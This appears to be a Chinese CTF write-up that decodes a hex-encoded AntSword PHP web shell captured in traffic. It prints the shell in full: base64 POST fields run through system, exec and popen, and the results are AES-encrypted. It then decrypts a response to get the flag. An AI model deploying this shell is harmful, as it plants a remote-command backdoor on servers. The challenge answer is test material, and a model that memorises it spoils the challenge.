a =['0x40', '0x69', '0x6e', '0x69', '0x5f', '0x73', '0x65', '0x74', '0x28', '0x22', '0x64', '0x69', '0x73', '0x70', '0x6c', '0x61', '0x79', '0x5f', '0x65', '0x72', '0x72', '0x6f', '0x72', '0x73', '0x22', '0x2c', '0x20', '0x22', '0x30', '0x22', '0x29', '0x3b', '0x40', '0x73', '0x65', '0x74', '0x5f', '0x74', '0x69', '0x6d', '0x65', '0x5f', '0x6c', '0x69', '0x6d', '0x69', '0x74', '0x28', '0x30', '0x29', '0x3b', '0x66', '0x75', '0x6e', '0x63', '0x74', '0x69', '0x6f', '0x6e', '0x20', '0x61', '0x73', '0x65', '0x6e', '0x63', '0x28', '0x24', '0x6f', '0x75', '0x74', '0x29', '0x7b', '0x40', '0x73', '0x65', '0x73', '0x73', '0x69', '0x6f', '0x6e', '0x5f', '0x73', '0x74', '0x61', '0x72', '0x74', '0x28', '0x29', '0x3b', '0x24', '0x6b', '0x65', '0x79', '0x3d', '0x27', '0x66', '0x35', '0x30', '0x34', '0x35', '0x62', '0x30', '0x35', '0x61', '0x62', '0x65', '0x36', '0x65', '0x63', '0x39', '0x62', '0x31', '0x65', '0x33', '0x37', '0x66', '0x61', '0x66', '0x61', '0x38', '0x35', '0x31', '0x66', '0x35', '0x64', '0x65', '0x39', '0x27', '0x3b', '0x72', '0x65', '0x74', '0x75', '0x72', '0x6e', '0x20', '0x40', '0x62', '0x61', '0x73', '0x65', '0x36', '0x34', '0x5f', '0x65', '0x6e', '0x63', '0x6f', '0x64', '0x65', '0x28', '0x6f', '0x70', '0x65', '0x6e', '0x73', '0x73', '0x6c', '0x5f', '0x65', '0x6e', '0x63', '0x72', '0x79', '0x70', '0x74', '0x28', '0x62', '0x61', '0x73', '0x65', '0x36', '0x34', '0x5f', '0x65', '0x6e', '0x63', '0x6f', '0x64', '0x65', '0x28', '0x24', '0x6f', '0x75', '0x74', '0x29', '0x2c', '0x20', '0x27', '0x41', '0x45', '0x53', '0x2d', '0x31', '0x32', '0x38', '0x2d', '0x45', '0x43', '0x42', '0x27', '0x2c', '0x20', '0x24', '0x6b', '0x65', '0x79', '0x2c', '0x20', '0x4f', '0x50', '0x45', '0x4e', '0x53', '0x53', '0x4c', '0x5f', '0x52', '0x41', '0x57', '0x5f', '0x44', '0x41', '0x54', '0x41', '0x29', '0x29', '0x3b', '0x7d', '0x3b', '0x3b', '0x66', '0x75', '0x6e', '0x63', '0x74', '0x69', '0x6f', '0x6e', '0x20', '0x61', '0x73', '0x6f', '0x75', '0x74', '0x70', '0x75', '0x74', '0x28', '0x29', '0x7b', '0x24', '0x6f', '0x75', '0x74', '0x70', '0x75', '0x74', '0x3d', '0x6f', '0x62', '0x5f', '0x67', '0x65', '0x74', '0x5f', '0x63', '0x6f', '0x6e', '0x74', '0x65', '0x6e', '0x74', '0x73', '0x28', '0x29', '0x3b', '0x6f', '0x62', '0x5f', '0x65', '0x6e', '0x64', '0x5f', '0x63', '0x6c', '0x65', '0x61', '0x6e', '0x28', '0x29', '0x3b', '0x65', '0x63', '0x68', '0x6f', '0x20', '0x22', '0x38', '0x63', '0x32', '0x62', '0x34', '0x22', '0x3b', '0x65', '0x63', '0x68', '0x6f', '0x20', '0x40', '0x61', '0x73', '0x65', '0x6e', '0x63', '0x28', '0x24', '0x6f', '0x75', '0x74', '0x70', '0x75', '0x74', '0x29', '0x3b', '0x65', '0x63', '0x68', '0x6f', '0x20', '0x22', '0x65', '0x32', '0x65', '0x31', '0x30', '0x22', '0x3b', '0x7d', '0x6f', '0x62', '0x5f', '0x73', '0x74', '0x61', '0x72', '0x74', '0x28', '0x29', '0x3b', '0x74', '0x72', '0x79', '0x7b', '0x24', '0x70', '0x3d', '0x62', '0x61', '0x73', '0x65', '0x36', '0x34', '0x5f', '0x64', '0x65', '0x63', '0x6f', '0x64', '0x65', '0x28', '0x24', '0x5f', '0x50', '0x4f', '0x53', '0x54', '0x5b', '0x22', '0x30', '0x78', '0x31', '0x62', '0x34', '0x64', '0x34', '0x35', '0x36', '0x63', '0x37', '0x32', '0x39', '0x37', '0x64', '0x22', '0x5d', '0x29', '0x3b', '0x24', '0x73', '0x3d', '0x62', '0x61', '0x73', '0x65', '0x36', '0x34', '0x5f', '0x64', '0x65', '0x63', '0x6f', '0x64', '0x65', '0x28', '0x24', '0x5f', '0x50', '0x4f', '0x53', '0x54', '0x5b', '0x22', '0x30', '0x78', '0x62', '0x39', '0x62', '0x34', '0x35', '0x36', '0x38', '0x38', '0x61', '0x35', '0x61', '0x30', '0x38', '0x22', '0x5d', '0x29', '0x3b', '0x24', '0x64', '0x3d', '0x64', '0x69', '0x72', '0x6e', '0x61', '0x6d', '0x65', '0x28', '0x24', '0x5f', '0x53', '0x45', '0x52', '0x56', '0x45', '0x52', '0x5b', '0x22', '0x53', '0x43', '0x52', '0x49', '0x50', '0x54', '0x5f', '0x46', '0x49', '0x4c', '0x45', '0x4e', '0x41', '0x4d', '0x45', '0x22', '0x5d', '0x29', '0x3b', '0x24', '0x63', '0x3d', '0x73', '0x75', '0x62', '0x73', '0x74', '0x72', '0x28', '0x24', '0x64', '0x2c', '0x30', '0x2c', '0x31', '0x29', '0x3d', '0x3d', '0x22', '0x2f', '0x22', '0x3f', '0x22', '0x2d', '0x63', '0x20', '0x5c', '0x22', '0x7b', '0x24', '0x73', '0x7d', '0x5c', '0x22', '0x22', '0x3a', '0x22', '0x2f', '0x63', '0x20', '0x5c', '0x22', '0x7b', '0x24', '0x73', '0x7d', '0x5c', '0x22', '0x22', '0x3b', '0x24', '0x72', '0x3d', '0x22', '0x7b', '0x24', '0x70', '0x7d', '0x20', '0x7b', '0x24', '0x63', '0x7d', '0x22', '0x3b', '0x66', '0x75', '0x6e', '0x63', '0x74', '0x69', '0x6f', '0x6e', '0x20', '0x66', '0x65', '0x28', '0x24', '0x66', '0x29', '0x7b', '0x24', '0x64', '0x3d', '0x65', '0x78', '0x70', '0x6c', '0x6f', '0x64', '0x65', '0x28', '0x22', '0x2c', '0x22', '0x2c', '0x40', '0x69', '0x6e', '0x69', '0x5f', '0x67', '0x65', '0x74', '0x28', '0x22', '0x64', '0x69', '0x73', '0x61', '0x62', '0x6c', '0x65', '0x5f', '0x66', '0x75', '0x6e', '0x63', '0x74', '0x69', '0x6f', '0x6e', '0x73', '0x22', '0x29', '0x29', '0x3b', '0x69', '0x66', '0x28', '0x65', '0x6d', '0x70', '0x74', '0x79', '0x28', '0x24', '0x64', '0x29', '0x29', '0x7b', '0x24', '0x64', '0x3d', '0x61', '0x72', '0x72', '0x61', '0x79', '0x28', '0x29', '0x3b', '0x7d', '0x65', '0x6c', '0x73', '0x65', '0x7b', '0x24', '0x64', '0x3d', '0x61', '0x72', '0x72', '0x61', '0x79', '0x5f', '0x6d', '0x61', '0x70', '0x28', '0x27', '0x74', '0x72', '0x69', '0x6d', '0x27', '0x2c', '0x61', '0x72', '0x72', '0x61', '0x79', '0x5f', '0x6d', '0x61', '0x70', '0x28', '0x27', '0x73', '0x74', '0x72', '0x74', '0x6f', '0x6c', '0x6f', '0x77', '0x65', '0x72', '0x27', '0x2c', '0x24', '0x64', '0x29', '0x29', '0x3b', '0x7d', '0x72', '0x65', '0x74', '0x75', '0x72', '0x6e', '0x28', '0x66', '0x75', '0x6e', '0x63', '0x74', '0x69', '0x6f', '0x6e', '0x5f', '0x65', '0x78', '0x69', '0x73', '0x74', '0x73', '0x28', '0x24', '0x66', '0x29', '0x26', '0x26', '0x69', '0x73', '0x5f', '0x63', '0x61', '0x6c', '0x6c', '0x61', '0x62', '0x6c', '0x65', '0x28', '0x24', '0x66', '0x29', '0x26', '0x26', '0x21', '0x69', '0x6e', '0x5f', '0x61', '0x72', '0x72', '0x61', '0x79', '0x28', '0x24', '0x66', '0x2c', '0x24', '0x64', '0x29', '0x29', '0x3b', '0x7d', '0x3b', '0x66', '0x75', '0x6e', '0x63', '0x74', '0x69', '0x6f', '0x6e', '0x20', '0x72', '0x75', '0x6e', '0x63', '0x6d', '0x64', '0x28', '0x24', '0x63', '0x29', '0x7b', '0x24', '0x72', '0x65', '0x74', '0x3d', '0x30', '0x3b', '0x69', '0x66', '0x28', '0x66', '0x65', '0x28', '0x27', '0x73', '0x79', '0x73', '0x74', '0x65', '0x6d', '0x27', '0x29', '0x29', '0x7b', '0x40', '0x73', '0x79', '0x73', '0x74', '0x65', '0x6d', '0x28', '0x24', '0x63', '0x2c', '0x24', '0x72', '0x65', '0x74', '0x29', '0x3b', '0x7d', '0x65', '0x6c', '0x73', '0x65', '0x69', '0x66', '0x28', '0x66', '0x65', '0x28', '0x27', '0x70', '0x61', '0x73', '0x73', '0x74', '0x68', '0x72', '0x75', '0x27', '0x29', '0x29', '0x7b', '0x40', '0x70', '0x61', '0x73', '0x73', '0x74', '0x68', '0x72', '0x75', '0x28', '0x24', '0x63', '0x2c', '0x24', '0x72', '0x65', '0x74', '0x29', '0x3b', '0x7d', '0x65', '0x6c', '0x73', '0x65', '0x69', '0x66', '0x28', '0x66', '0x65', '0x28', '0x27', '0x73', '0x68', '0x65', '0x6c', '0x6c', '0x5f', '0x65', '0x78', '0x65', '0x63', '0x27', '0x29', '0x29', '0x7b', '0x70', '0x72', '0x69', '0x6e', '0x74', '0x28', '0x40', '0x73', '0x68', '0x65', '0x6c', '0x6c', '0x5f', '0x65', '0x78', '0x65', '0x63', '0x28', '0x24', '0x63', '0x29', '0x29', '0x3b', '0x7d', '0x65', '0x6c', '0x73', '0x65', '0x69', '0x66', '0x28', '0x66', '0x65', '0x28', '0x27', '0x65', '0x78', '0x65', '0x63', '0x27', '0x29', '0x29', '0x7b', '0x40', '0x65', '0x78', '0x65', '0x63', '0x28', '0x24', '0x63', '0x2c', '0x24', '0x6f', '0x2c', '0x24', '0x72', '0x65', '0x74', '0x29', '0x3b', '0x70', '0x72', '0x69', '0x6e', '0x74', '0x28', '0x6a', '0x6f', '0x69', '0x6e', '0x28', '0x22', '0xa', '0x22', '0x2c', '0x24', '0x6f', '0x29', '0x29', '0x3b', '0x7d', '0x65', '0x6c', '0x73', '0x65', '0x69', '0x66', '0x28', '0x66', '0x65', '0x28', '0x27', '0x70', '0x6f', '0x70', '0x65', '0x6e', '0x27', '0x29', '0x29', '0x7b', '0x24', '0x66', '0x70', '0x3d', '0x40', '0x70', '0x6f', '0x70', '0x65', '0x6e', '0x28', '0x24', '0x63', '0x2c', '0x27', '0x72', '0x27', '0x29', '0x3b', '0x77', '0x68', '0x69', '0x6c', '0x65', '0x28', '0x21', '0x40', '0x66', '0x65', '0x6f', '0x66', '0x28', '0x24', '0x66', '0x70', '0x29', '0x29', '0x7b', '0x70', '0x72', '0x69', '0x6e', '0x74', '0x28', '0x40', '0x66', '0x67', '0x65', '0x74', '0x73', '0x28', '0x24', '0x66', '0x70', '0x2c', '0x20', '0x32', '0x30', '0x34', '0x38', '0x29', '0x29', '0x3b', '0x7d', '0x40', '0x70', '0x63', '0x6c', '0x6f', '0x73', '0x65', '0x28', '0x24', '0x66', '0x70', '0x29', '0x3b', '0x7d', '0x65', '0x6c', '0x73', '0x65', '0x69', '0x66', '0x28', '0x66', '0x65', '0x28', '0x27', '0x61', '0x6e', '0x74', '0x73', '0x79', '0x73', '0x74', '0x65', '0x6d', '0x27', '0x29', '0x29', '0x7b', '0x40', '0x61', '0x6e', '0x74', '0x73', '0x79', '0x73', '0x74', '0x65', '0x6d', '0x28', '0x24', '0x63', '0x29', '0x3b', '0x7d', '0x65', '0x6c', '0x73', '0x65', '0x7b', '0x24', '0x72', '0x65', '0x74', '0x20', '0x3d', '0x20', '0x31', '0x32', '0x37', '0x3b', '0x7d', '0x72', '0x65', '0x74', '0x75', '0x72', '0x6e', '0x20', '0x24', '0x72', '0x65', '0x74', '0x3b', '0x7d', '0x3b', '0x24', '0x72', '0x65', '0x74', '0x3d', '0x40', '0x72', '0x75', '0x6e', '0x63', '0x6d', '0x64', '0x28', '0x24', '0x72', '0x2e', '0x22', '0x20', '0x32', '0x3e', '0x26', '0x31', '0x22', '0x29', '0x3b', '0x70', '0x72', '0x69', '0x6e', '0x74', '0x20', '0x28', '0x24', '0x72', '0x65', '0x74', '0x21', '0x3d', '0x30', '0x29', '0x3f', '0x22', '0x72', '0x65', '0x74', '0x3d', '0x7b', '0x24', '0x72', '0x65', '0x74', '0x7d', '0x22', '0x3a', '0x22', '0x22', '0x3b', '0x3b', '0x7d', '0x63', '0x61', '0x74', '0x63', '0x68', '0x28', '0x45', '0x78', '0x63', '0x65', '0x70', '0x74', '0x69', '0x6f', '0x6e', '0x20', '0x24', '0x65', '0x29', '0x7b', '0x65', '0x63', '0x68', '0x6f', '0x20', '0x22', '0x45', '0x52', '0x52', '0x4f', '0x52', '0x3a', '0x2f', '0x2f', '0x22', '0x2e', '0x24', '0x65', '0x2d', '0x3e', '0x67', '0x65', '0x74', '0x4d', '0x65', '0x73', '0x73', '0x61', '0x67', '0x65', '0x28', '0x29', '0x3b', '0x7d', '0x3b', '0x61', '0x73', '0x6f', '0x75', '0x74', '0x70', '0x75', '0x74', '0x28', '0x29', '0x3b', '0x64', '0x69', '0x65', '0x28', '0x29', '0x3b']

for i in range(len(a)):
    print(chr(int(a[i], 16)), end="")

输出结果整理一下是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);

function asenc($out) {
    @session_start();
    $key = 'f5045b05abe6ec9b1e37fafa851f5de9';
    return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
}

function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "8c2b4";
    echo @asenc($output);
    echo "e2e10";
}

ob_start();

try {
    $p = base64_decode($_POST["0x1b4d456c7297d"]);
    $s = base64_decode($_POST["0xb9b45688a5a08"]);
    $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
    $r = "{$p} {$c}";

    function fe($f) {
        $d = explode(",", @ini_get("disable_functions"));
        if (empty($d)) {
            $d = array();
        } else {
            $d = array_map('trim', array_map('strtolower', $d));
        }
        return (function_exists($f) && is_callable($f) && !in_array($f, $d));
    }

    function runcmd($c) {
        $ret = 0;
        if (fe('system')) {
            @system($c, $ret);
        } elseif (fe('passthru')) {
            @passthru($c, $ret);
        } elseif (fe('shell_exec')) {
            print(@shell_exec($c));
        } elseif (fe('exec')) {
            @exec($c, $o, $ret);
            print(join("\n", $o));
        } elseif (fe('popen')) {
            $fp = @popen($c, 'r');
            while (!@feof($fp)) {
                print(@fgets($fp, 2048));
            }
            @pclose($fp);
        } elseif (fe('antsystem')) {
            @antsystem($c);
        } else {
            $ret = 127;
        }
        return $ret;
    }

    $ret = @runcmd($r . " 2>&1");
    print ($ret != 0) ? "ret={$ret}" : "";

} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
}

asoutput();
die();
?>

第七行获得key 第八行读到涉及AES-128加密

1
2
3
4
5
6
7
8
9
10
11
12
<?php

  $cipher = "8c2b4kRD1eD+vSZ81FAJ6XClabCR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dZOTFg4DW9MYwG6k3rEvAAR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJHygVK0ad8xG1Qk6pzSaCiR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJ1qI47Cz1/qfnNoNARGhLfVhC0RJlfeKCvbPwpjFn//BSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93FIVjxEmVnLHPVr5M/LQPdxSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93GnMvJfVbvphfWnt17IOkzYjvv91k2fnYDR7u4nlGM3YitxGYGs9mn+HS5iJBXORtYrcRmBrPZp/h0uYiQVzkbWK3EZgaz2af4dLmIkFc5G1itxGYGs9mn+HS5iJBXORtUq4dBjDRFhDqDyzs9CScJhrd3yMusQ+qsnZkq4Ey7NVJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l2hDPuDhVN4TaDLzp9bXyfGeCVhvglAaNo2rA/ovnRTTtfA5ZywMOOijj6md5RItqjXwOWcsDDjoo4+pneUSLao18DlnLAw46KOPqZ3lEi2qNfA5ZywMOOijj6md5RItqgS0b9hS7r5TX9YNZo2awgUAyqVacVgwr1NlNQ2k/kihhh0QQfnjeGdZhkz0N0jAKiMzFmAMa7xQ1URxTaHoHjDg3NaWl/8+PVG+pyaKrbNDjfl77POeQE8+0MCHpz6YxWLJ6mwCe1X3uzz/HSHcHSvQBB8FxjOhugOErOXkd3LZi/60Gr4gIEc1JIxA5A2pE/V6Z/DFwNOR4M/IIIWdGr5e2e10";

function decrypt($cipher) {
  $key = 'f5045b05abe6ec9b1e37fafa851f5de9';
  return @base64_decode(openssl_decrypt(base64_decode($cipher), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
};

$cipher = substr($cipher, 5, strlen($cipher) - 10);
echo decrypt($cipher);
?>

运行结果base64解密 获得flag

flag{AntSword_is_Powerful_3222222!!!!}

https://www.mklab.cn/utils/aes

上一页
2026-08-22 20:05:38
下一页